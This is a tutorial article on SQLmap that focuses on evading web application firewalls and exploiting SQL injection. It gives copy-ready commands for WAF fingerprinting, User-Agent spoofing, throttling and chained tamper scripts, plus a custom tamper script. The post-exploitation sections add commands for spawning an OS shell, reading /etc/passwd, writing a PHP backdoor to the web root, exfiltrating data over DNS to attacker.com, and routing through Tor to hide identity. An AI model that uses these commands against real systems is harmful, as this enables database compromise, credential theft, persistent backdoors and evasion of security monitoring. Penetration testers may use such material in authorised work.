Mastering SQLmap: Advanced WAF Bypass Techniques & Tamper Scripts

SQL Injection (SQLi) remains the “King of Vulnerabilities.” Despite the widespread adoption of ORMs and prepared statements, a single legacy query or a misconfigured endpoint can compromise an entire organization’s database. For Penetration Testers, Bug Bounty Hunters, and Red Team operators, SQLmap is not just a tool; it is the industry-standard framework for detecting and exploiting SQL injection flaws.

However, the security landscape has evolved. In 2026, you are rarely testing against a naked server. You are fighting against sophisticated Web Application Firewalls (WAFs) like Cloudflare, AWS WAF, Akamai, and ModSecurity. These systems are trained to detect the specific signatures of automated tools.

1. The Anatomy of an Attack

Before bypassing a firewall, one must understand how SQLmap interacts with the target. SQLmap is not a “magic button”; it is a heuristic engine that automates the injection process using six distinct techniques.

1.1. The Six Injection Techniques

Understanding these techniques is crucial for debugging when an attack fails. You can force specific techniques using the --technique flag (e.g., --technique=BE).

• B: Boolean-based blind – SQLmap replaces parts of the original query with a boolean statement (e.g., AND 1=1). If the page content stays the same, it’s TRUE. If it changes, it’s FALSE. This is slow but reliable.
• E: Error-based – Forces the database to output a verbose error message containing the data (e.g., causing a datatype conversion error). Fast, but easily patched.
• U: Union query-based – The “Holy Grail” of SQLi. Appends a UNION SELECT statement to the original query, appending results to the page output.
• S: Stacked queries – Using a semicolon ; to terminate the first query and start a new one (e.g., ; DROP TABLE users). This allows for INSERT/UPDATE/DELETE operations.
• T: Time-based blind – Used when the application returns no output or errors. SQLmap injects a “sleep” command. If the server delays the response, the injection is successful.
• Q: Inline queries – Injecting nested queries directly into the statement.

2. Reconnaissance & Fingerprinting

A silent attacker is a successful attacker. Blasting a target with default settings triggers every alarm in the SOC (Security Operations Center). The first phase is fingerprinting the environment.

2.1. Identifying the WAF

Before launching an attack, you need to know which gladiator you are fighting. Is it Cloudflare? Imperva? F5 Big-IP? SQLmap has a heuristic engine for this.

# Check for WAF presence and identify vendor
sqlmap -u "http://target.com/vuln.php?id=1" --check-waf --identify-waf

If SQLmap fails to identify the vendor, use wafw00f:

wafw00f http://target.com

2.2. Enumeration without Exploitation

Sometimes you only want to check for vulnerability without extracting data (which is noisier). Use the banner grabbing flags.

# Get Banner, Current User, and Database name
sqlmap -u target.com --banner --current-user --current-db --batch

3. Advanced WAF Evasion Strategies

This is the core of modern SQL injection. WAFs work by analyzing HTTP traffic against a set of rules (signatures). To bypass them, we must obfuscate our payload so it looks legitimate to the WAF but is still executable by the database.

3.1. HTTP Header Manipulation

The most common mistake is using the default User-Agent. A WAF blocks User-Agent: sqlmap/1.5... instantly.

# 1. Randomize Agent (Pick from sqlmap/txt/user-agents.txt)
sqlmap -u target.com --random-agent

# 2. Impersonate a Mobile Device (iPhone)
sqlmap -u target.com --user-agent="Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X)..."

# 3. Add Custom Headers (Some WAFs trust specific referers)
sqlmap -u target.com --headers="Referer:http://google.com\nOrigin:http://target.com"

3.2. Timing and Throttling (Low and Slow)

Behavioral analysis detects high-frequency requests. If you send 50 requests per second, you will be IP banned. You must mimic human behavior.

# --delay: Seconds between requests
# --safe-freq: Send a legitimate request after every N injection requests
sqlmap -u target.com --delay=2.5 --safe-freq=10

3.3. HTTP Parameter Pollution (HPP)

HPP is a technique where you supply the same parameter multiple times. ASP.NET and some WAFs parse the first instance (which is clean), but the backend application processes the second instance (which contains the payload).

# Input: id=1&id=1 UNION SELECT...
sqlmap -u target.com --hpp

3.4. Chunked Transfer Encoding

This is a powerful evasion technique for older or misconfigured WAFs. By splitting the POST body into tiny chunks, the WAF (which tries to optimize performance) might only inspect the first chunk and let the rest pass through.

sqlmap -u target.com --data="id=1" --chunked

4. Mastering Tamper Scripts

SQLmap’s “Tamper” system is its most powerful weapon. These are Python scripts that intercept the payload and modify it before sending. You can chain multiple scripts together.

4.1. The Essential Tamper Library

Here is a detailed breakdown of the most effective scripts for different scenarios:

Scenario A: Bypassing ModSecurity (Generic)

ModSecurity hates spaces and standard keywords.

• space2comment.py: SELECT * FROM → SELECT/**/*/FROM
• randomcase.py: UNION → uNiOn

Scenario B: MySQL Specific Evasion

MySQL allows for “Executable Comments” (/*! ... */). The WAF sees a comment, but MySQL executes it.

• versionedmorekeywords.py: Masks keywords with version comments.
• between.py: Replaces > and = with BETWEEN.
• bluecoat.py: Replaces spaces with valid blank characters that BlueCoat WAF misses.

Scenario C: MSSQL (Microsoft SQL Server)

• space2hash.py: Replaces spaces with %23 (hash) followed by a new line.
• charencode.py: URL encodes all characters.

4.2. Chaining for Cloudflare Bypass

Cloudflare is highly adaptive. A common successful chain involves mixing encoding with obfuscation.

# A robust chain for hardened targets
sqlmap -u target.com --tamper=space2comment,randomcase,between --level=3 --risk=3

5. Developing Custom Tamper Scripts

Sometimes, public scripts are patched. You need to write your own. A tamper script is a simple Python file with a tamper(payload, **kwargs) function.

Example: A script that adds a “magic header” prefix to bypass a specific custom filter.

#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces 'UNION' with '/*!12345UNION*/' to bypass version check
    """
    if payload:
        payload = payload.replace("UNION", "/*!12345UNION*/")
        payload = payload.replace("SELECT", "/*!12345SELECT*/")
    
    return payload

Save this as myscript.py in the /tamper/ directory and call it with --tamper=myscript.

6. Post-Exploitation: From SQLi to Shell

Extracting data is fine, but gaining Remote Code Execution (RCE) is the ultimate goal. SQLmap has powerful features for OS interaction.

6.1. The –os-shell Technique

If the database user has high privileges (like DBA or root), and the secure_file_priv configuration allows it, you can spawn a shell.

sqlmap -u target.com --os-shell

How it works: SQLmap attempts to upload a small PHP/ASP/JSP uploader script into a writable directory (like /var/www/html/uploads/). If successful, it uploads a command execution shell and acts as a proxy.

6.2. Reading and Writing Files

You can steal configuration files (like wp-config.php or /etc/passwd) or write your own backdoors.

# Read File
sqlmap -u target.com --file-read="/etc/passwd"

# Write Backdoor
sqlmap -u target.com --file-write="shell.php" --file-dest="/var/www/html/shell.php"

7. Advanced Technique: DNS Exfiltration

When you are facing a “Blind SQL Injection” and the server blocks all outbound HTTP traffic (creating a black hole), standard Time-based attacks are excruciatingly slow. The solution is DNS Exfiltration.

The database tries to resolve a domain name that contains the extracted data (e.g., user-admin.attacker.com). Since DNS traffic is rarely blocked by firewalls, you get the data instantly.

# Requires a domain you control
sqlmap -u target.com --dns-domain="attacker.com" --technique=B

8. Tor & Proxy Chaining

For high-risk engagements, never expose your real IP. SQLmap integrates seamlessly with the Tor network.

# Install tor first: apt install tor
sqlmap -u target.com --tor --tor-type=SOCKS5 --check-tor

If you prefer a rotating proxy list to avoid Tor’s latency:

sqlmap -u target.com --proxy-file=proxies.txt

Conclusion

SQLmap is deceptively simple to start using, but incredibly deep to master. The difference between a “Script Kiddie” and a professional Red Teamer is the ability to understand why an injection fails and how to craft a specific bypass strategy using the tools discussed above.

Key Takeaways:

1. Always profile your target’s WAF first.
2. Never use default User-Agents.
3. Use --tamper scripts to break signature detection.
4. When HTTP is blocked, switch to DNS exfiltration.
5. Respect the legal boundaries.

For more tools, scripts, and shell archives, browse our Shell Repository.